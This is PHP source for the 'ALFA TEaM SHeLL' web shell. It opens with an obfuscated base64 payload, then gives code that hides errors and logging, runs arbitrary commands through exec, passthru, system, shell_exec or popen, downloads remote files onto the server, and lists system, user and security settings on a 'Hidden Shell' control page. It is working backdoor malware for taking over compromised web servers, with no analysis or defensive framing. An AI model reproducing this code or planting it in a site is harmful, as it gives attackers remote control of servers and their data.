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'\x29\x29\x29\x3B",".");
  8. exit; }
  9. @define('VERSION','1.0');
  10. @error_reporting(E_ALL ^ E_NOTICE);
  11. @session_start();
  12. @ini_set('error_log',NULL);
  13. @ini_set('log_errors',0);
  14. @ini_set('max_execution_time',0);
  15. @set_time_limit(0);
  16. @set_magic_quotes_runtime(0);
  17. if(get_magic_quotes_gpc()) {
  18. function alfastripslashes($array) {
  19. return is_array($array) ? array_map('alfastripslashes', $array) : stripslashes($array);
  20. }
  21. $_POST = alfastripslashes($_POST);
  22. }
  23. $default_action = 'FilesMan';
  24. $default_use_ajax = true;
  25. $default_charset = 'Windows-1251';
  26. if (strtolower(substr(PHP_OS,0,3))=="win")
  27. $sys='win';
  28. else
  29. $sys='unix';
  30. $home_cwd = @getcwd();
  31. if(isset($_POST['c']))
  32. @chdir($_POST['c']);
  33. $cwd = @getcwd();
  34. if($sys == 'win')
  35. {
  36. $home_cwd = str_replace("\\", "/", $home_cwd);
  37. $cwd = str_replace("\\", "/", $cwd);
  38. }
  39. if($cwd[strlen($cwd)-1] != '/' )
  40. $cwd .= '/';
  41. function alfaEx($in) {
  42. $out = '';
  43. if (function_exists('exec')) {
  44. @exec($in,$out);
  45. $out = @join("\n",$out);
  46. } elseif (function_exists('passthru')) {
  47. ob_start();
  48. @passthru($in);
  49. $out = ob_get_clean();
  50. } elseif (function_exists('system')) {
  51. ob_start();
  52. @system($in);
  53. $out = ob_get_clean();
  54. } elseif (function_exists('shell_exec')) {
  55. $out = shell_exec($in);
  56. } elseif (is_resource($f = @popen($in,"r"))) {
  57. $out = "";
  58. while(!@feof($f))
  59. $out .= fread($f,1024);
  60. pclose($f);
  61. }
  62. return $out;
  63. }
  64. $down=@getcwd();
  65. if($sys=="win")
  66. $down.='\\';
  67. else
  68. $down.='/';
  69. if(isset($_POST['rtdown']))
  70. {
  71. $url = $_POST['rtdown'];
  72. $newfname = $down. basename($url);
  73. $file = fopen ($url, "rb");
  74. if ($file) {
  75. $newf = fopen ($newfname, "wb");
  76. if ($newf)
  77. while(!feof($file)) {
  78. fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
  79. }
  80. }
  81. if ($file) {
  82. fclose($file);
  83. }
  84. if ($newf) {
  85. fclose($newf);
  86. }
  87. }
  88. function alfahead()
  89. {
  90. if(empty($_POST['charset']))
  91. $_POST['charset'] = $GLOBALS['default_charset'];
  92. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  93. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  94. $totalSpace = $totalSpace?$totalSpace:1;
  95. $on="<font color=#0F0> ON </font>";
  96. $of="<font color=red> OFF </font>";
  97. $none="<font color=#0F0> NONE </font>";
  98. if(function_exists('curl_version'))
  99. $curl=$on;
  100. else
  101. $curl=$of;
  102. if(function_exists('mysql_get_client_info'))
  103. $mysql=$on;
  104. else
  105. $mysql=$of;
  106. if(function_exists('mssql_connect'))
  107. $mssql=$on;
  108. else
  109. $mssql=$of;
  110. if(function_exists('pg_connect'))
  111. $pg=$on;
  112. else
  113. $pg=$of;
  114. if(function_exists('oci_connect'))
  115. $or=$on;
  116. else
  117. $or=$of;
  118. if(@ini_get('disable_functions'))
  119. $disfun=@ini_get('disable_functions');
  120. else
  121. $disfun="All Functions Enabled";
  122. if(@ini_get('safe_mode'))
  123. $safe_modes="<font color=red>ON</font>";
  124. else
  125. $safe_modes="<font color=#0F0 >OFF</font>";
  126. if(@ini_get('open_basedir'))
  127. $open_b=@ini_get('open_basedir');
  128. else
  129. $open_b=$none;
  130. if(@ini_get('safe_mode_exec_dir'))
  131. $safe_exe=@ini_get('safe_mode_exec_dir');
  132. else
  133. $safe_exe=$none;
  134. if(@ini_get('safe_mode_include_dir'))
  135. $safe_include=@ini_get('safe_mode_include_dir');
  136. else
  137. $safe_include=$none;
  138. if(!function_exists('posix_getegid'))
  139. {
  140. $user = @get_current_user();
  141. $uid = @getmyuid();
  142. $gid = @getmygid();
  143. $group = "?";
  144. } else
  145. {
  146. $uid = @posix_getpwuid(posix_geteuid());
  147. $gid = @posix_getgrgid(posix_getegid());
  148. $user = $uid['name'];
  149. $uid = $uid['uid'];
  150. $group = $gid['name'];
  151. $gid = $gid['gid'];
  152. }
  153. $cwd_links = '';
  154. $path = explode("/", $GLOBALS['cwd']);
  155. $n=count($path);
  156. for($i=0; $i<$n-1; $i++) {
  157. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  158. for($j=0; $j<=$i; $j++)
  159. $cwd_links .= $path[$j].'/';
  160. $cwd_links .= "\")'>".$path[$i]."/</a>";
  161. }
  162. $drives = "";
  163. foreach(range('c','z') as $drive)
  164. if(is_dir($drive.':\\'))
  165. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  166. echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  167. <html xmlns="http://www.w3.org/1999/xhtml">
  168. <head>
  169. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  170. <link href="http://iran.grn.cc/13.png" rel="icon" type="image/x-icon"/>
  171. <title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM SHeLL ::..</title>
  172. <style type="text/css">
  173. <!--
  174. #alert {position: relative;}
  175. #alert:hover:after {
  176. background: hsla(0,0%,0%,.8);
  177. border-radius: 3px;
  178. color: #f6f6f6;
  179. content: \'Hidden shell\';
  180. font: bold 12px/30px sans-serif;
  181. height: 30px;
  182. left: 50%;
  183. margin-left: -60px;
  184. position: absolute;
  185. text-align: center;
  186. top: 50px; width: 120px;
  187. }
  188. #alert:hover:before {
  189. border-bottom: 10px solid hsla(0,0%,0%,.8);
  190. border-left: 10px solid transparent;
  191. border-right: 10px solid transparent;content: \'\';
  192. height: 0;
  193. left: 50%;
  194. margin-left: -10px;
  195. position: absolute;
  196. top: 40px;
  197. width: 0;
  198. }
  199. #alert:target {display: none;}
  200. .alert_red {
  201. animation: alert 1s ease forwards;
  202. background-color: #c4453c;
  203. background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));
  204. background-size: 20px 20px;box-shadow: 0 5px 0 hsla(0,0%,0%,.1);
  205. color: #f6f6f6;display: block;
  206. font: bold 16px/40px sans-serif;
  207. height: 40px;
  208. position: absolute;
  209. text-align: center;
  210. text-decoration: none;
  211. top: -5px;
  212. width: 100%;
  213. }
  214. .alert_green {animation: alert 1s ease forwards;
  215. background-color: #27979B;
  216. background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));
  217. background-size: 20px 20px;
  218. box-shadow: 0 5px 0 hsla(0,0%,0%,.1);
  219. color: #f6f6f6;
  220. display: block;
  221. font: bold 16px/40px sans-serif;
  222. height: 40px;
  223. position: absolute;
  224. text-align: center;
  225. text-decoration: none;
  226. top: -5px;
  227. width: 100%;
  228. }
  229. @keyframes alert {0% { opacity: 0; }50% { opacity: 1; }100% { top: 0; }}
  230. .whole {
  231. background-color: #0E304A;
  232. height:auto;
  233. width: auto;
  234. margin-top: 10px;
  235. margin-right: 10px;
  236. margin-left: 10px;
  237. }
  238. .header {
  239. height: auto;
  240. width: auto;
  241. border: 7px solid #0E304A;
  242. color: #67ABDF;
  243. font-size: 12px;
  244. font-family: Verdana, Geneva, sans-serif;
  245. background-color: #000;
  246. }
  247. .header a {color:#0F0; text-decoration:none;}
  248. span {
  249. font-weight: bolder;
  250. color: #FFF;
  251. }
  252. #meunlist {
  253. font-family: Verdana, Geneva, sans-serif;
  254. color: #FFF;
  255. background-color: #000;
  256. width: auto;
  257. border-right-width: 7px;
  258. border-left-width: 7px;
  259. border-top-style: solid;
  260. border-right-style: solid;
  261. border-bottom-style: solid;
  262. border-left-style: solid;
  263. border-top-color: #0E304A;
  264. border-right-color: #0E304A;
  265. border-bottom-color: #0E304A;
  266. border-left-color: #0E304A;
  267. height: auto;
  268. font-size: 12px;
  269. font-weight: bold;
  270. border-top-width: 0px;
  271. }
  272. .whole #meunlist ul {
  273. padding-top: 5px;
  274. padding-right: 5px;
  275. padding-bottom: 7px;
  276. padding-left: 2px;
  277. text-align:center;
  278. list-style-type: none;
  279. margin: 0px;
  280. }
  281. .whole #meunlist li {
  282. margin: 0px;
  283. padding: 0px;
  284. display: inline;
  285. }
  286. .whole #meunlist a {
  287. font-family: arial, sans-serif;
  288. font-size: 14px;
  289. text-decoration:none;
  290. font-weight: bold;
  291. color: #fff;
  292. clear: both;
  293. width: 100px;
  294. margin-right: -6px;
  295. padding-top: 3px;
  296. padding-right: 15px;
  297. padding-bottom: 3px;
  298. padding-left: 15px;
  299. border-right-width: 1px;
  300. border-right-style: solid;
  301. border-right-color: #FFF;
  302. }
  303. .whole #meunlist a:hover {
  304. color: #000;
  305. background: #646464;
  306. }
  307. .foot {
  308. font-family: Verdana, Geneva, sans-serif;
  309. background-color: #000;
  310. margin: 0px;
  311. padding: 0px;
  312. width: 100%;
  313. text-align: center;
  314. font-size: 12px;
  315. color: #0E304A;
  316. border-right-width: 7px;
  317. border-left-width: 7px;
  318. border-bottom-width: 7px;
  319. border-bottom-style: solid;
  320. border-right-style: solid;
  321. border-right-style: solid;
  322. border-left-style: solid;
  323. border-top-color: #0E304A;
  324. border-right-color: #0E304A;
  325. border-bottom-color: #0E304A;
  326. border-left-color: #0E304A;
  327. }
  328. #text{
  329. text-align:center;
  330. }
  331. ';
  332. if(is_writable($GLOBALS['cwd']))
  333. {
  334. echo ".foottable {
  335. width: 300px;
  336. font-weight: bold;
  337. }";}
  338. else
  339. {
  340. echo ".foottable {
  341. width: 300px;
  342. font-weight: bold;
  343. background-color:red;
  344. }
  345. .dir {
  346. background-color:red;
  347. }
  348. ";
  349. }
  350. echo '.main th{text-align:left;}
  351. .main a{color: #FFF;}
  352. .main tr:hover{background-color:#646464;}
  353. .ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }
  354. .bigarea{ width:99%; height:300px; }
  355. </style>
  356. ';
  357. echo "<script>
  358. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  359. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  360. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  361. var alfa1_ = '" . ((strpos(@$_POST['alfa1'],"\n")!==false)?'':htmlspecialchars($_POST['alfa1'],ENT_QUOTES)) ."';
  362. var alfa2_ = '" . ((strpos(@$_POST['alfa2'],"\n")!==false)?'':htmlspecialchars($_POST['alfa2'],ENT_QUOTES)) ."';
  363. var alfa3_ = '" . ((strpos(@$_POST['alfa3'],"\n")!==false)?'':htmlspecialchars($_POST['alfa3'],ENT_QUOTES)) ."';
  364. var alfa4_ = '" . ((strpos(@$_POST['alfa4'],"\n")!==false)?'':htmlspecialchars($_POST['alfa4'],ENT_QUOTES)) ."';
  365. var alfa5_ = '" . ((strpos(@$_POST['alfa5'],"\n")!==false)?'':htmlspecialchars($_POST['alfa5'],ENT_QUOTES)) ."';
  366. var alfa6_ = '" . ((strpos(@$_POST['alfa6'],"\n")!==false)?'':htmlspecialchars($_POST['alfa6'],ENT_QUOTES)) ."';
  367. var alfa7_ = '" . ((strpos(@$_POST['alfa7'],"\n")!==false)?'':htmlspecialchars($_POST['alfa7'],ENT_QUOTES)) ."';
  368. var alfa8_ = '" . ((strpos(@$_POST['alfa8'],"\n")!==false)?'':htmlspecialchars($_POST['alfa8'],ENT_QUOTES)) ."';
  369. var alfa9_ = '" . ((strpos(@$_POST['alfa9'],"\n")!==false)?'':htmlspecialchars($_POST['alfa9'],ENT_QUOTES)) ."';
  370. var alfa10_ = '" . ((strpos(@$_POST['alfa10'],"\n")!==false)?'':htmlspecialchars($_POST['alfa10'],ENT_QUOTES)) ."';
  371. var d = document;
  372. function set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {
  373. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  374. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  375. if(alfa1!=null)d.mf.alfa1.value=alfa1;else d.mf.alfa1.value=alfa1_;
  376. if(alfa2!=null)d.mf.alfa2.value=alfa2;else d.mf.alfa2.value=alfa2_;
  377. if(alfa3!=null)d.mf.alfa3.value=alfa3;else d.mf.alfa3.value=alfa3_;
  378. if(alfa4!=null)d.mf.alfa4.value=alfa4;else d.mf.alfa4.value=alfa4_;
  379. if(alfa5!=null)d.mf.alfa5.value=alfa5;else d.mf.alfa5.value=alfa5_;
  380. if(alfa6!=null)d.mf.alfa6.value=alfa6;else d.mf.alfa6.value=alfa6_;
  381. if(alfa7!=null)d.mf.alfa7.value=alfa7;else d.mf.alfa7.value=alfa7_;
  382. if(alfa8!=null)d.mf.alfa8.value=alfa8;else d.mf.alfa8.value=alfa8_;
  383. if(alfa9!=null)d.mf.alfa9.value=alfa9;else d.mf.alfa9.value=alfa9_;
  384. if(alfa10!=null)d.mf.alfa10.value=alfa10;else d.mf.alfa10.value=alfa10_;
  385. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  386. }
  387. function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {
  388. set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset);
  389. d.mf.submit();
  390. }</script>";
  391. echo '
  392. </head>
  393. <body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
  394. <div class="whole">
  395. <form method=post name=mf style="display:none;">
  396. <input type=hidden name=a>
  397. <input type=hidden name=c>
  398. <input type=hidden name=alfa1>
  399. <input type=hidden name=alfa2>
  400. <input type=hidden name=alfa3>
  401. <input type=hidden name=alfa4>
  402. <input type=hidden name=alfa5>
  403. <input type=hidden name=alfa6>
  404. <input type=hidden name=alfa7>
  405. <input type=hidden name=alfa8>
  406. <input type=hidden name=alfa9>
  407. <input type=hidden name=alfa10>
  408. <input type=hidden name=charset>
  409. </form>
  410. <div id=\'alert\'><a class="alert_green" target="_blank" href="?solevisible">Hidden Shell Is Here ( Click )</font></a></div><br><p>
  411. <div class="header"><table width="100%" border="0" align="lift">
  412. <tr>
  413. <td width="3%"><span><font color=#27979B>Uname:</font></span></td>
  414. <td colspan="2"><b>'.substr(@php_uname(), 0, 120).'</b></td>
  415. </tr>
  416. <tr>
  417. <td><span><font color=#27979B>User:</font></span></td>
  418. <td><b>'. $uid . ' [ ' . $user . ' ] </b><span> <font color=#27979B> Group: </font></span><b>' . $gid . ' [ ' . $group . ' ]</b> </td>
  419. <td width="12%" rowspan="8"><img alt="" src="http://iran.grn.cc/farvahar-iran.png" /></td>
  420. </tr>
  421. <tr>
  422. <td><span><font color=#27979B>PHP:</font></span></td>
  423. <td><b>'.@phpversion(). ' </b><span> <font color=#27979B> Safe Mode: </font>'.$safe_modes.'</span></td>
  424. </tr>
  425. <tr>
  426. <td><span><font color=#27979B>ServerIP:</font></span></td>
  427. <td><b>'.@$_SERVER["SERVER_ADDR"].' <span><font color=#27979B>Your IP:</font></span><b> '.@$_SERVER["REMOTE_ADDR"].'</b></td>
  428. </tr>
